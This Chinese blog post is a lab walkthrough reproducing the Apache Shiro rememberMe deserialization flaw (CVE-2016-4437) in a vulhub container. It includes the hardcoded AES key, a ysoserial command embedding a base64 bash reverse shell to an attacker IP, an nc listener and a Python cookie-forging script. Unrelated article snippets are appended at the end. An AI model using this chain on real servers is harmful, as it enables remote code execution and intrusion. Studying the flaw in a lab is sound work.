当前位置: 首页 > news >正文

shiro550-cve-2016-4437复现

shiro550-cve-2016-4437

复现环境:docker desktop

idea远程调试jdk版本必须与容器里的jdk1.8.0_102 匹配上,下载资源翻我CC1链那篇文章

注意burpsuite的proxy listeners端口改一下别跟docker容器的重了。

ysoserial工具:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

一键工具:https://github.com/SummerSec/ShiroAttack2/releases

jdk11后不支持JavaFX库,使用jdk1.8

文章目录

  • shiro550-cve-2016-4437
    • 1. 简介
    • 2. 远程调试方法
    • 3. 复现流程
      • 1. 工具复现
      • 2. 半手工复现
    • 参考

1. 简介

影响版本:Shiro <= 1.2.4

原理:Apache Shiro 提供了一种“rememberMe”功能,用于在用户关闭浏览器后仍然保持会话,当启用该功能时,Shiro 会将用户的会话信息序列化并存储在一个 cookie 中,以便在用户重新访问时反序列化并恢复会话;在这边攻击者可以通过修改“rememberMe” cookie,注入特制的恶意Java 序列化对象;当 Shiro 反序列化这个恶意对象时,攻击者可以在目标系统上执行任意代码。

加密的密钥Key被硬编码在代码里kPH+bIxk5D2deZiIxcaaaA==

Payload的构造流程:

恶意命令–>序列化–>AES加密–>base64编码–>发送Cookie

判断方法:随便输账号密码密码,勾选remember me,burpsuite抓包发现请求包中有RememberMe字段,响应包有Set-cookie:rememberMe=deleteMe字段

在这里插入图片描述

Shiro服务器识别身份加解密处理的流程

(1)加密

1.用户使用账号密码进行登录,并勾选"Remember Me"。

2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。

3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。

4、最后将处理好的内容放于cookie中的rememberMe字段。

(2)解密

1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。

2、将获取到的rememberMe字段进行base64解码,再使用AES解密。

3、最后将解密的内容进行反序列化,获取到用户身份。

2. 远程调试方法

C:\Users\21609\vulhub\shiro\CVE-2016-4437目录下修改docker-compose.yml,让它能远程调试

services:web:image: vulhub/shiro:1.2.4ports:- "8080:8080"- "5050:5050"command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 -jar /shirodemo-1.0-SNAPSHOT.jar

启容器

C:\Users\21609\vulhub\shiro\CVE-2016-4437>docker-compose up -d

docker desktop进容器里执行命令

su 
find / -name "*.jar"
java -version #openjdk version "1.8.0_102"

cmd里把容器里的文件拷贝出来

docker cp 67192e54766a:/shirodemo-1.0-SNAPSHOT.jar shirodemo-1.0-SNAPSHOT.jar

改后缀为zip解压,idea打开当前目录,右键lib目录,add as library

在file->project structure->module->dependencies里选中lib添加目录BOOT-INF,然后记得打勾,sdk选1.8.0_102

在这里插入图片描述

新建debug configuration

在这里插入图片描述

navigate->Search Everywhere,搜索onSuccessfulLogin函数

isRememberMe为true时,进rememberIdentity函数

在这里插入图片描述

在下图处打断点

在这里插入图片描述

然后idea运行debug configuration

使用admin:vulhub进行登录

在这里插入图片描述

可以看到程序成功断下

在这里插入图片描述

AES CBC模式加密

在这里插入图片描述

注意到密钥是固定值

在这里插入图片描述

在这里插入图片描述

3. 复现流程

1. 工具复现

C:\Program Files\Java\jdk1.8.0_102\bin>.\java.exe -jar C:\Users\21609\Downloads\shiro_attack-4.7.0-SNAPSHOT-all\shiro_attack-4.7.0-SNAPSHOT-all.jar

填入密钥kPH+bIxk5D2deZiIxcaaaA==后检测密钥,再点击检测当前利用链。

在这里插入图片描述

点击命令执行输入命令即可执行。

在这里插入图片描述

2. 半手工复现

起个控制台
nc64 -lvvp 8054

使用ysoserial生成CC5的Gadget:

#payload不能包含>,<
#进https://forum.ywhack.com/shell.php选取base64编码的payload
#ip:192.168.75.180 port:8054
#使用 java 命令运行 ysoserial-all.jar 中的类,监听指定端口等待连接
C:\Users\21609\Desktop\code>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE4MC84MDU0IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述

#pip install pycryptodome
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'C:\\Users\\21609\\Desktop\\code\\ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)#stdout=subprocess.PIPE:捕获命令的标准输出(即生成的 payload)BS = AES.block_size #获取AES加密的块大小(通常为 16 字节)pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()#用于对数据进行填充,使其长度是块大小的整数倍(PKCS7 填充)key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #base64解码出AES密钥iv = uuid.uuid4().bytes #UUID转字节流作为AES加密的初始化向量encryptor = AES.new(key, AES.MODE_CBC, iv)#创建一个 AES 加密器file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(input("请输入`攻击机ip:JRMP端口`:"))#攻击机ip:JRMP端口#192.168.75.180:7777print("rememberMe={0}".format(payload.decode()))

在这里插入图片描述

在这里插入图片描述

burpsuite抓包修改一下
在这里插入图片描述

成功

在这里插入图片描述

参考

IDEA远程调试Docker中程序的方法 AresX

Web渗透:Shiro550漏洞(CVE-2016-4437)WolvenSec

shiro550反序列化漏洞原理与漏洞复现 程序员负总裁

相关文章:

shiro550-cve-2016-4437复现

shiro550-cve-2016-4437 复现环境&#xff1a;docker desktop idea远程调试jdk版本必须与容器里的jdk1.8.0_102 匹配上&#xff0c;下载资源翻我CC1链那篇文章 注意burpsuite的proxy listeners端口改一下别跟docker容器的重了。 ysoserial工具&#xff1a;https://github.c…...

【DeepSeek】Ubuntu快速部署DeepSeek(Ollama方式)

文章目录 人人都该学习的DeepSeekDeepSeek不同版本功能差异DeepSeek与硬件直接的关系DeepSeek系统兼容性部署方式选择部署步骤&#xff08;Ollama方式&#xff09;1.选定适合的deepseek版本2.环境准备3.安装Ollama4.部署deepseek5.测试使用 人人都该学习的DeepSeek DeepSeek 作…...

Windows 版本Nmap使用报错“无法打开device eth0”

背景 使用nmap在win10上进行扫描工作正常&#xff0c;换到win server 2012 r2以后&#xff0c;扫描报错“无法打开device eth0” 使用了重装、重启大法&#xff0c;未彻底解决 PS&#xff1a;这台服务器之前完装过wireshark&#xff0c;实际已经安装了npcap 解决步骤 查询了…...

java字符串

字符串构造 1.使用常量串构造 String h1 "hello";System.out.println(h1); 2.new对象 String h2 new String("hello");System.out.println(h2); 3.使用字符数组构造 char[] array {h,e,l,l,o};String h3 new String(array);System.out.println(h3);…...

Uniapp 页面返回不刷新?两种方法防止 onShow 触发多次请求!

目录 前言1. 变量&#xff08;不生效&#xff09;2. 延迟&#xff08;生效&#xff09; 前言 &#x1f91f; 找工作&#xff0c;来万码优才&#xff1a;&#x1f449; #小程序://万码优才/r6rqmzDaXpYkJZF 在 Uniapp 中&#xff0c;使用 onShow() 钩子来监听页面显示&#xff0…...

鸿蒙生态日日新,夸克、顺丰速运、驾校一点通等多款应用功能更新

3月5日鸿蒙生态日日新PLOG&#xff1a;吉事办、健康甘肃等政务服务App上架原生鸿蒙应用市场&#xff1b;夸克、顺丰速运、驾校一点通等多款应用功能更新。...

库制作与原理

什么是库 库是写好的现有的&#xff0c;成熟的&#xff0c;可以复用的代码。现实中每个程序都要依赖很多基础的底层库&#xff0c;不可能每个人的代码都从零开始&#xff0c;因此库的存在意义非同寻常。本质上来说库是一种可执行代码的二进制形式&#xff0c;可以被操作系统载入…...

《量子Java:从超导芯片到光子计算的编程革命》——解析Google量子AI中心的混合架构,揭秘如何用Java控制量子比特!

标题:《量子Java:从超导芯片到光子计算的编程革命》——解析Google量子AI中心的混合架构,揭秘如何用Java控制量子比特! 引言:当Java代码撞上量子叠加态——Google量子AI中心的0.003秒奇迹 Google量子AI中心首次实现Java程序对1200量子比特光量子芯片的实时控制,仅耗时3毫…...

音频3A测试--AGC(自动增益)和NS(降噪)测试

一、测试前期准备 一台电脑&#xff1a;用于作为控制播放和录制数据&#xff1b; 一台音频处理器(调音台)&#xff1a;控制每个通道播放的数据&#xff0c;如噪声、人工头、模拟设备B输入的数据、收集标准麦克风&#xff0c;设备A处理完成的数据&#xff1b; 四个高保真音响&…...

点云数据处理--splat转3dtiles

文章目录 处理流程简介核心功能实现数据读取与格式转换数据读取splat转gltf 点云数据分割定义四叉树递归生成3dtiles瓦片 生成tileset.json递归生成tileset.json计算box 主函数调用渲染 下一步工作性能优化渲染效果调优其他 源码地址&#xff1a; github 处理流程简介 基本流…...

deepseek使用记录18——艺术的追问

一 好的&#xff0c;基于前面学习结果&#xff0c;再写一篇有艺术美的文章 《美的起义》 凌晨四点的茶摊在电子支付二维码下苏醒&#xff0c;蒸腾的水汽中浮动着八百年前建盏的釉色。老板娘把栀子花插在共享单车车筐里&#xff0c;花瓣的弧度与北宋汝窑青瓷的冰裂纹暗合&…...

ArcGIS操作:13 生成最小外接矩阵

应用情景&#xff1a;筛选出屋面是否能放下12*60m的长方形&#xff0c;作为起降场候选点&#xff08;一个不规则的形状内&#xff0c;判断是否能放下指定长宽的长方形&#xff09; 1、面积初步筛选 Area ≥ 720 ㎡ 面积计算见 2、打开 ArcToolbox → Data Management Tools …...

Manus AI Agent 技术解读:架构、机制与竞品对比

目录 1. Manus 是什么&#xff1f; 1.1 研发背景 1.2 技术特点 1.3 工具调用能力 1.4 主要应用场景 2. Manus 一夜爆火的原因何在&#xff1f; 2.1 技术突破带来的震撼 2.2 完整交付的产品体验 2.3 生态与开源策略 3. Manus 与其他 AI Agent 的对比分析 3.1 技术架构…...

npm 执行安装报错

Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution. 原因​ 主要的原因是 npm7 以上的版本&#xff0c;新增了一个对等依赖的特性&#xff0c;在以…...

Django 模型的逆向工程

模型的逆向工程&#xff1a;通过 inspectdb 命令从数据库表创建 Django 模型 在Django开发中&#xff0c;模型&#xff08;Model&#xff09;是定义数据库结构的关键组件。通常&#xff0c;我们根据业务需求先设计模型&#xff0c;然后通过Django的迁移系统创建相应的数据库表…...

启动wsl里的Ubuntu24报错:当前计算机配置不支持 WSL2,HCS_E_HYPERV_NOT_INSTALLED

问题&#xff1a;启动wsl里的Ubuntu24报错 报错信息&#xff1a; 当前计算机配置不支持 WSL2。 请启用“虚拟机平台”可选组件&#xff0c;并确保在 BIOS 中启用虚拟化。 通过运行以下命令启用“虚拟机平台”: wsl.exe --install --no-distribution 有关信息&#xff0c;请访…...

Electron:点击右键保存图片到本地

前期插件 前端请求后台的一种方法 npm install got -S用于获取ArrayBuffer文件类型 npm install image-type -S生成随机数 npm install randomstring -D增加右击事件 点击右击事件的时候加载菜单 const imageRightSave require("./ImageRightSave") // 创建右…...

C语言中0UL和1UL

0UL 表示 无符号长整型 0 1UL 表示 无符号长整型 1 如果不写UL后缀&#xff0c;系统默认为&#xff1a;int, 即&#xff0c;有符号整数。 数值常数分为&#xff1a;整型常数和浮点常数&#xff1b; 数值常数后缀不区分字母大小写&#xff1b; 1.整型常数的后缀&#xff1a…...

6. 机器人实现远程遥控(具身智能机器人套件)

1. 启动控制脚本 远程作到 Raspberry Pi 中&#xff0c;并运行以下脚本&#xff1a; conda activate lerobotpython lerobot/scripts/control_robot.py \--robot.typelekiwi \--control.typeremote_robot登录笔记本电脑上&#xff0c;同时运行以下脚本&#xff1a; conda ac…...

C++ 学生成绩管理系统

一、项目背景与核心需求 成绩管理系统是高校教学管理的重要工具,本系统采用C++面向对象编程实现,主要功能模块包括: 学生信息管理(学号/姓名/3门课程成绩) 成绩增删改查(CRUD)操作 数据持久化存储 统计分析与报表生成 用户友好交互界面 二、系统架构设计 1. 类结构设计 …...

网络安全配置截图 网络安全i

网络安全概念及规范 1.网络安全定义 网络安全的概述和发展历史 网络安全 广义的网络安全&#xff1a;Cyber Security&#xff08;网络空间安全&#xff09; 网络空间有独立且相互依存的信息基础设施和网络组成&#xff0c;包括互联网、电信网、计算机系统、嵌入式处理器和控…...

Facebook营销自动化—— Python脚本 + 代理IP实现内容高效分发

目录 1. 引言&#xff1a;内容分发与Facebook营销的现状与痛点 2. 环境搭建与前期准备 2.1 开发环境与工具选择 2.2 获取代理IP 2.3 Facebook账号与开发者平台配置 3. Facebook内容分发的基本流程与策略 3.1 内容规划与策略制定 3.2 内容分发方式选择 3.3 风控与风险防…...

Centos的ElasticSearch安装教程

由于我们是用于校园学习&#xff0c;所以最好是关闭防火墙 systemctl stop firewalld systemctl disable firewalld 个人喜欢安装在opt临时目录&#xff0c;大家可以随意 在opt目录下创建一个es-standonely-docker目录 mkdir es-standonely-docker 进入目录编辑yml文件 se…...

香港地区上线独立多用户电商平台系统需要注意哪些问题

在香港地区上线独立多用户电商平台系统时&#xff0c;需结合本地化需求、技术架构、法律合规及用户体验等多方面因素&#xff0c;以下是需要注意的关键问题及建议&#xff1a; 一、技术架构与服务器部署 服务器配置与带宽选择 根据业务规模选择合适的香港服务器配置&#xff0…...

元宇宙展厅应用场景有哪些?

元宇宙展厅作为元宇宙技术的重要应用场景之一&#xff0c;正在彻底改变人们的展示、学习与交流方式。其应用场景主要包括以下几个方面&#xff1a; 一、企业展览与营销 产品展示&#xff1a;企业可以利用元宇宙展厅搭建虚拟展示空间&#xff0c;通过高精度的3D建模和虚拟现实技…...

XGBoost常见面试题(五)——模型对比

XGBoost与GBDT的区别 机器学习算法中 GBDT 和 XGBOOST 的区别有哪些&#xff1f; - 知乎 基分类器&#xff1a;传统GBDT以CART树作为基分类器&#xff0c;xgboost还支持线性分类器&#xff0c;这个时候xgboost相当于带L1和L2正则化项的逻辑斯蒂回归&#xff08;分类问题&#…...

如何在WPS中接入DeepSeek并使用OfficeAI助手(超细!成功版本)

目录 第一步&#xff1a;下载并安装OfficeAI助手 第二步&#xff1a;申请API Key 第三步:两种方式导入WPS 第一种:本地大模型Ollama 第二种APIKey接入 第四步&#xff1a;探索OfficeAI的创作功能 工作进展汇报 PPT大纲设计 第五步&#xff1a;我的使用体验(体验建议) …...

重学 Android 自定义 View 系列(十一):文字跑马灯剖析

前言 一个可以横向滚动和纵向滚动的自定义文字跑马灯View&#xff0c;支持水平和垂直滚动、多段文本展示、点击事件回调等功能。 该View 由 ScrollTextView&#xff0c;改版而来&#xff0c;效果如下&#xff1a; 1. 功能介绍 ScrollTextView 是基于 SurfaceView 的自定义视…...

Android硬件加速原理解析

Android硬件加速原理解析 一、核心思想 ‌GPU与CPU分工‌ 硬件加速的本质是将‌图形渲染任务从CPU转移到GPU‌,利用GPU的并行计算能力处理像素填充、矩阵变换等密集型图形操作‌12。CPU负责逻辑计算,GPU专注于图形处理,避免单一资源瓶颈‌57。 ‌图形计算优化‌ GPU通过‌专…...

Oracle SQL优化实战要点解析(11)——索引、相关子查询及NL操作(1)

11.1. 充分利用索引有序特性,避免发生大表上的FTS,以及对中间大数据集的排序。 11.1.1. 适用场景 从一个或多个大表(例如:亿行级或TB级数据量)中过滤出全列大数据集(例如:数百万或千万行数据),对该大数据集按其中某列进行排序,最终,只取最前面的少部分数据(例如:…...

题解:AT_past202109_h 最短経路

思路 这一眼就是最短路的题目啊。 为什么不用 Dijkstra 用 死了的 SPFA。因为好写 。 这一题的数据比较小。可以暴力枚举最短路的起点&#xff0c;跑 SPFA&#xff0c;找到符合的直接输出&#xff0c;结束程序。随机数据下 SPFA 平均的时间复杂度为 O ( k n ) O(kn) O(kn)…...

JavaScript基础-算数运算符

在JavaScript编程中&#xff0c;算术运算符是构建程序逻辑的基础工具之一&#xff0c;它们用于执行基本的数学运算&#xff0c;如加法、减法、乘法和除法等。掌握这些运算符不仅有助于进行数值计算&#xff0c;也是编写复杂逻辑的前提条件。本文将详细介绍JavaScript中的各种算…...

Doris vs ClickHouse 企业级实时分析引擎怎么选?

Apache Doris 与 ClickHouse 同作为OLAP领域的佼佼者&#xff0c;在企业级实时分析引擎该如何选择呢。本文将详细介绍 Doris 的优势&#xff0c;并通过直观对比展示两者的关键差异&#xff0c;同时分享一个企业成功用 Doris 替换 ClickHouse 的实践案例&#xff0c;帮助您做出明…...

flask学习3-深入

flask学习-深入 flask学习-深入1. 应用程序结构和生命周期 — Flask 文档 (3.1.x)2.应用程序上下文 — Flask 文档 (3.1.x)3. 请求上下文 — Flask 文档 (3.1.x)上下文的生命周期手动推送上下文关于代理的注意事项4.使用蓝图的模块化应用程序 — Flask 文档 (3.1.x)5.扩…...

任务10:三层交换机配置

CSDN 原创主页&#xff1a;不羁https://blog.csdn.net/2303_76492156?typeblog三层交换机是指在OSI&#xff08;开放系统互连&#xff09;模型中的第三层网络层提供路由功能的交换机。它不仅具备二层交换机的交换功能&#xff0c;还能实现路由功能&#xff0c;提供更为灵活的网…...

XSD 对 XML 数据格式验证 java

xsd文件&#xff0c;文件名bean.xsd&#xff0c;放在当前java文件目录下 <?xml version"1.0" encoding"UTF-8"?> <xs:schema xmlns:xs"http://www.w3.org/2001/XMLSchema"><xs:element name"bean"><xs:comple…...

深度学习笔记——神经网络

本文为在拓尔思智能举办的训练营中学习内容的总结&#xff0c;部分内容摘自百度百科 个人在这里推荐一个好用的软件&#xff0c;Trae&#xff0c;主要是免费。 人工神经元是人工神经网络的基本单元。模拟生物神经元&#xff0c;人工神经元有1个或者多个输入&#xff08;模拟多…...

大语言模型学习--向量数据库

向量数据库 向量 向量是多维数据空间中的一个坐标点。 向量类型 图像向量 文本向量 语音向量 Embedding 非结构化数据转换为向量过程 通过深度学习训练&#xff0c;将真实世界离散数据&#xff0c;投影到高维数据空间上&#xff0c;通过数据在空间中间的距离体现真实世界…...

蓝桥杯 封闭图形个数

蓝桥杯 封闭图形个数 题目 链接 解答 # 数字个数 n int(input()) # 数字 ls input().split() # 统计数字的圈数 o_nums {} for i, x in enumerate(ls):o_num 0for c in x:if int(c) in [0, 4, 6, 9]:o_num 1elif c 8:o_num 2o_nums[i] o_num # 字典根据圆圈数排序 …...

c++快速入门-2

算数运算符 赋值运算符“” 赋值运算符概念 将一个值赋给一个变量。 例&#xff1a;a3&#xff1b;//将3这个值赋给a 赋值是从右向左&#xff0c;都是赋值表达式。 错误示范&#xff1a;3a&#xff1b;//不符合从右向左 b-25&#xff1b;//“”左边只能有一个变量名&…...

URL中的特殊字符与web安全

在现代Web应用中&#xff0c;URL作为客户端与服务器之间的通信桥梁&#xff0c;承载着大量的重要信息。URL中的特殊字符&#xff0c;看似只是一些常见的符号&#xff0c;但在Web安全领域&#xff0c;它们与其他安全知识密切相关&#xff0c;如在Base64编码、SQL注入&#xff0c…...

Python ❀ Unix时间戳转日期或日期转时间戳工具分享

设计一款Unix时间戳和日期转换工具&#xff0c;其代码如下&#xff1a; from datetime import datetimeclass Change_Date_Time(object):def __init__(self, date_strNone, date_numNone):self.date_str date_strself.date_num date_num# 转时间戳def datetime2timestamp(s…...

H.264,H.265,H.266标准技术改进

关于H.264,H.265,H.266相关资料链接&#xff1a; 标准及中文资料链接 视频编码中的主要技术 视频编码的目标是在保证视频质量的前提下&#xff0c;尽可能减少数据量。以下是视频编码中的核心技术&#xff1a; 块划分&#xff08;Block Partitioning&#xff09; 将视频帧划分…...

Crawl4AI: 赋能AI用户的开源智能网页爬虫与数据提取

Crawl4AI: 赋能AI用户的开源智能网页爬虫与数据提取 在当今人工智能时代&#xff0c;网络爬虫扮演着至关重要的角色。它们不仅是数据收集的强大工具&#xff0c;更是驱动机器学习、自然语言处理等技术发展的关键引擎。 然而&#xff0c;对于用户来说&#xff0c;在面对复杂多…...

C++ primer plus 第七节 函数探幽完结版

系列文章目录 C primer plus 第一节 步入C-CSDN博客 C primer plus 第二节 hello world刨析-CSDN博客 C primer plus 第三节 数据处理-CSDN博客 C primer plus 第四节 复合类型-CSDN博客 C primer plus 第五节 循环-CSDN博客 C primier plus 第七节 函数探幽第一部分-CSDN博客 …...

linux | Vim 命令快捷操作

注&#xff1a;本文为过去的 “vim 使用笔记”。 跳转命令 跳转命令 #&#xff1a;向前查找光标当前所在单词&#xff0c;并跳转到该单词的上一个出现位置。*&#xff1a;向后查找光标当前所在单词&#xff0c;并跳转到该单词的下一个出现位置。 行内跳转 0&#xff1a;跳转…...

RuleOS:区块链开发的“新引擎”,点燃Web3创新之火

RuleOS&#xff1a;区块链开发的“新引擎”&#xff0c;点燃Web3创新之火 在区块链技术的浪潮中&#xff0c;RuleOS宛如一台强劲的“新引擎”&#xff0c;为个人和企业开发去中心化应用&#xff08;DApp&#xff09;注入了前所未有的动力。它以独特的设计理念和强大的功能特性&…...

梯度本质论:从黎曼流形到神经网络的拓扑寻优

一、微分几何框架下的梯度再诠释 在标准数学分析中&#xff0c;梯度被定义为标量场 f : R n → R f:\mathbb{R}^n→\mathbb{R} f:Rn→R的导数张量 ∇ f ( ∂ f ∂ x 1 , . . . , ∂ f ∂ x n ) \nabla f(\frac{\partial f}{\partial x_1},...,\frac{\partial f}{\partial x_n…...

LVGL直接解码png图片的方法

通过把png文件解码为.C文件&#xff0c;再放到工程中的供使用&#xff0c;这种方式随时速度快&#xff08;应为已经解码&#xff0c;代码中只要直接加载图片数据显示出来即可&#xff09;&#xff0c;但是不够灵活&#xff0c;适用于哪些简单又不经常需要更换UI的场景下使用。如…...

代码随想录算法营Day59 | 寻找存在的路径, 冗余连接,冗余连接II

寻找存在的路径 这题使用并查集即可。并查集加路径压缩。 #include <iostream> using namespace std; int find(int* father,int u){return father[u] u ? u : father[u] find(father,father[u]); }bool isSame(int* father,int u,int v){return find(father,u) fi…...